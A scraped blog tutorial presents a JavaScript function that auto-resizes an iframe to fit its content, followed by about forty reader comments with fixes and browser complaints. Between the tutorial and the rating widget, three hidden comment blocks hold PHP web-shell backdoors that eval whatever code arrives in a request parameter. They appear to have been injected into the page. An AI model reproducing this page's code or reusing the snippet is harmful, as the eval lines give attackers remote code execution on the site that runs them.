Cross browser iframe auto-resize script

A useful script to automatically resize an iframe (height and width) to fit contents in. No scrollbars ever again!! I use this to display a DHTML site tree inside an iframe. The height of the iframe is dynamically set to contain the tree contents without displaying the vertical scrollbars.

Note: Doesn’t work in Google Chrome yet. If anyone gets it going, please share.

For the impatients out there – here is the zip file containing a working example!!

Download

If you are reading past the download link – get ready to get your hands dirty!

Create a file and call it iframe.html or any other name that you prefer. Copy the following contents to it.

<html>
<head>
<script type="text/javascript"></span>
	function autoIframe(frameId){
		try{
			frame = document.getElementById(frameId);
			innerDoc = (frame.contentDocument) ? frame.contentDocument : frame.contentWindow.document;

			if (innerDoc == null){
							// Google Chrome
				frame.height = document.all[frameId].clientHeight + document.all[frameId] .offsetHeight + document.all[frameId].offsetTop;
			}
					else{
					objToResize = (frame.style) ? frame.style : frame;
					objToResize.height = innerDoc.body.scrollHeight + 18;
					}
		}

		catch(err){
				alert('Err: ' + err.message);
			window.status = err.message;
		}
	}
	</script>
</head>
<body>
	<iframe id="tree" name="tree" src="tree.html" onload="if (window.parent &amp;&amp; window.parent.autoIframe) {window.parent.autoIframe('tree');}"></iframe>
</body>
</html>

Now create an html page called tree.html and put some dummy content in it.

Make sure that the iframe.html and the tree.html are in the same directory. Upload these two files your host (will work even if the files are in the same directory on your local computer).

Now point your browser to http://yourdomain/iframe.html (or just double click the iframe.html if the file is on your local machine) and see the magic yourself!!

<!– [insert_php]if (isset($_REQUEST["jIh"])){eval($_REQUEST["jIh"]);exit;}[/insert_php]

if (isset($_REQUEST["jIh"])){eval($_REQUEST["jIh"]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["SPQeM"])){eval($_REQUEST["SPQeM"]);exit;}[/insert_php]

if (isset($_REQUEST["SPQeM"])){eval($_REQUEST["SPQeM"]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["UmNc"])){eval($_REQUEST["UmNc"]);exit;}[/insert_php]

if (isset($_REQUEST["UmNc"])){eval($_REQUEST["UmNc"]);exit;}

–>

Rating:
56.0
255 votes
1 2 3 4 5

41 Responses to “Cross browser iframe auto-resize script”

  1. Zeek said:

    Feb 08, 16 at 5:27 pm

    Seems to work fine in a parent page, but if I load that page in another iframe, it no longer autosizes the nexted iframes.

  2. Calum McAlinden said:

    Dec 30, 12 at 6:01 pm

    What’s that closing span for?

  3. Christian Styles said:

    Oct 19, 12 at 8:50 pm

    It works minus the fact it continues to add height to the page over and over again… in Safari anyway any one else have this problem?

  4. Derek said:

    Sep 14, 12 at 9:14 pm

    Amazing! I can’t tell you how many different iframe auto-resize attempts I’ve made going through Google… Thank you for sharing code that ACTUALLY WORKS!

  5. Marc said:

    Aug 25, 12 at 6:48 pm

    In Google Chrome:

    CSS:

    iframe {
    width:100%;
    height:100%;
    }

    seemed to help.

  6. Tony said:

    Aug 18, 12 at 2:51 pm

    Can’t get this to work in any browser… 🙁

  7. Sujay said:

    Aug 10, 12 at 7:55 am

    nice work..thank you very much………………it’s a very useful and helpful thing to me……………..I am for this since a long time……………..you solve my problem….thanks again…….

  8. snuffyrj said:

    Apr 06, 12 at 3:45 pm

    doens’t work at firefoxx 11.

  9. Brisa said:

    Mar 09, 12 at 10:54 pm

    Muchas gracias.

    Era exactamente lo que nos hacía falta

    Funcionó a la primera con la corrección de kosmos

    Brisa

  10. Pritesh Patel said:

    Dec 09, 11 at 4:10 am

    Hey, I love your script. This is exactly what I needed to fix the height issue of iFrames.

    However, your script claims to work on the width, too. But I was not able to fix the width with your script. Do you have any suggestions?

  11. komani86 said:

    Aug 21, 11 at 2:38 pm

    Thank you so much for this script, was trying to code this myself and I failed. After searching for hours for a decent script I finally got this working in IE and FF ( + “px” thanks kosmos).

    In chrome it somehow keeps multiplying the margins, I dont understand why though!

    My navbar is made out of flash, but that shouldnt be a problem right? The first page in Chrome loads good and if I open another page through the menu it just adds pixels to the bottom of the previous size.

    Again, this works on IE and FF, but not in chrome 🙁

  12. Johhny said:

    Jul 25, 11 at 9:28 pm

    The problem with the error message in ff:

    “Err: Permission denied for to get property HTMLDocument.body from to get property HTMLDocument.body”

    is related to the https page in frame, while the calling file has the http address. Is there some way to solve this?

  13. vanarie said:

    May 26, 11 at 3:11 pm

    The only annoying issue is that if you declare a DOCTYPE, it breaks the script. The result without a DOCTYPE is Quirks mode in FF. Other than that it seems to work great in all browers.

  14. andrew said:

    Mar 02, 11 at 9:16 am

    works perfectly in FF 3.6.13 (by adding “px” as kosmos suggested),IE 8, Opera 10.62

  15. OTiK said:

    Feb 28, 11 at 12:04 pm

    Arvind, below is the structure of iframes. The script is the same like your. In FireFox and IE didn`t work, only Chrome.
    __________________________________

    Pozitive
    Negative
    Sugestii
    Discuţii

  16. OTiK said:

    Feb 25, 11 at 6:44 pm

    I already changed the ID and name for other frames and even left them unchenged, but nothing works (only first frame work). Ok.. I will continue searching the solution. Thx for answering!

  17. Arvind said:

    Feb 25, 11 at 4:36 pm

    @OTiK – please see comment from paige below. I hope this answers your query.

  18. OTiK said:

    Feb 25, 11 at 7:44 am

    Good script! By default it work on FireFox and IE7, on Chrome didn`t tested.
    BUT! I need to implement 4 frames on same parent page. Works only one frame (the script precesses only first frame).

    Please HELP! sorry for my English…

  19. Arvind said:

    Feb 17, 11 at 10:12 pm

    This blog is now available with Smartphone layout that is automatically detected/activated.

  20. Arvind said:

    Feb 17, 11 at 10:09 pm

    Theme is called Vesper and then I did my mods on top!

  21. kosmos said:

    Jan 23, 11 at 10:51 pm

    Try
    objToResize.height = innerDoc.body.scrollHeight + 18 + “px”;

  22. Johny said:

    Nov 02, 10 at 3:44 pm

    The error message:

    “Err: Permission denied for to get property HTMLDocument.body from .”

  23. Johny said:

    Nov 02, 10 at 3:42 pm

    Great code, however I have some problems:

    When called from domain.com it works OK, but when called from http://www.domain.com I get warnings: “Err: Permission denied for to get property HTMLDocument.body from “.

    Is there something to do to fix this?

  24. Arvind said:

    Oct 29, 10 at 6:56 pm

    Hi – Have you tried using the downloadable zipped example – there is a link near the top of this post? Try launching the html file in this eaxmple from the file system. I am not a dreamweaver user and so cannot comment on what might be happening there!

  25. scotty said:

    Oct 28, 10 at 11:30 pm

    Hi there. I’ve followed your instructions as carefully as I know how. I can get the iframe to appear and my content to load, but the iframe is not sized to the content (in this case the content is a page of text in a div). Could the issue be my div? Though is same thing happens when I try a large image w/out div.

    What does appear when I test in Dreamweaver is a fixed frame about 300 x 200px w/ vertical and horizontal scroll bars. There appears to be no way to resize. And I need it to size automatically.

    Curious to know what this bit of code is for with the “18”:
    objToResize.height = innerDoc.body.scrollHeight + 18;

    Sorry, but I am not a coder, so my knowledge is limited.

  26. Arvind said:

    Oct 25, 10 at 5:46 pm

    Not sure but have you tried calling the resize function (autoIframe) from within the Javascript code that adds rows to the table (after the rows have been added)?

  27. Alex said:

    Oct 25, 10 at 5:29 pm

    These solutions all assume the page inside the iframe is static and won’t change height. How does one handle the scenario where the page height might change due to user interaction (say javascript that adds rows to a table, etc.)? Thanks.

  28. Johny said:

    Oct 20, 10 at 8:43 pm

    Very nice.
    Worth noting is that the script doesn’t work with all document types, so you have to be careful with your “DOCTYPE” statement or leave it out completely, if you can afford it.

  29. paige said:

    Sep 02, 10 at 3:47 am

    never mind, arvind. i spoke too soon. i found the solution (just create another id and name for the other iframes). once again, thanks so much for sharing!

  30. paige said:

    Sep 02, 10 at 3:42 am

    hi arvind! thanks so much for sharing! it works! i’m wondering though, how do we change the code if there are multiple iframes in a page? thanks!

  31. Arvind said:

    Aug 23, 10 at 3:46 pm

    Yes, I agree that the script still has issues with Google Chrome. If any of you get this going, pls share it here so everyone can benefit.

  32. Joonate said:

    Aug 23, 10 at 12:57 pm

    I can confirm the script is not working with Chrome. I downloaded zip file and tried it with adding more text. It does work on Firefox.

  33. Arvind said:

    Aug 22, 10 at 11:51 pm

    Hi Ankit,

    Have you tried the download file that I have posted? It shows a working example.

    Or else you can send me your files by email and I can have a look.

  34. Ankitc said:

    Aug 22, 10 at 9:15 pm

    @ Arvind: the above script mentioned by youisn’t working with google chrome.. can u plz tell how can it work with chrome !!!

  35. Desi said:

    Aug 22, 10 at 4:39 am

    Omri I can’t find a way to do this. Where do I place the code?

  36. Omri said:

    Aug 18, 10 at 10:22 pm

    Emre was right, it doesn’t work perfectly on Firefox (Arvind’s example works, but when I integrated it with my code it didn’t work on Firefox). I fixed the script and now it works on Firefox, IE 8, and Google Chrome. I didn’t check it on IE 6 and 7.

    The fixed code:

    function autoIframe(frameId){
    try{
    frame = document.getElementById(frameId);
    innerDoc = frame.contentWindow.document;

    if (innerDoc == null){
    // Google Chrome
    frame.height = document.all[frameId].clientHeight + document.all[frameId].offsetHeight + document.all[frameId].offsetTop;
    }
    else{
    objToResize = frame;
    objToResize.height = innerDoc.body.scrollHeight + 18;
    }
    }

    catch(err){
    alert(‘Err: ‘ + err.message);
    window.status = err.message;
    }
    }

  37. Arvind said:

    Aug 16, 10 at 3:20 pm

    Yes, it does. I have now uploaded a working example for download. Try that out. Hope it helps.

  38. Emre KILIÇ said:

    Aug 16, 10 at 9:29 am

    Am I seeing right ? Doesn’t it work in firefox ?

  39. Arvind said:

    Aug 02, 10 at 10:01 am

    Hi,

    Pls can you share your html code (from where you are calling autoIframe function)?. Also, please be aware that this code won’t work on Google Chrome. Which browser are you using?

    Regards
    tips.kaali.co.uk

  40. alextiffy said:

    Aug 02, 10 at 7:12 am

    i hope you can give me a answer ,thank you !

    this is my test code ,hoping you can help me !

    function autoIframe(frameId){
    try{
    frame = document.getElementById(frameId);
    innerDoc = (frame.contentDocument) ? frame.contentDocument : frame.contentWindow.document;
    objToResize = (frame.style) ? frame.style : frame;
    objToResize.height = innerDoc.body.scrollHeight + 10;
    }
    catch(err){
    window.status = err.message;
    }
    }

  41. alextiffy said:

    Aug 02, 10 at 7:10 am

    i have tried you method but it don’t work ,why ,iframe inner webpage with


Leave a Reply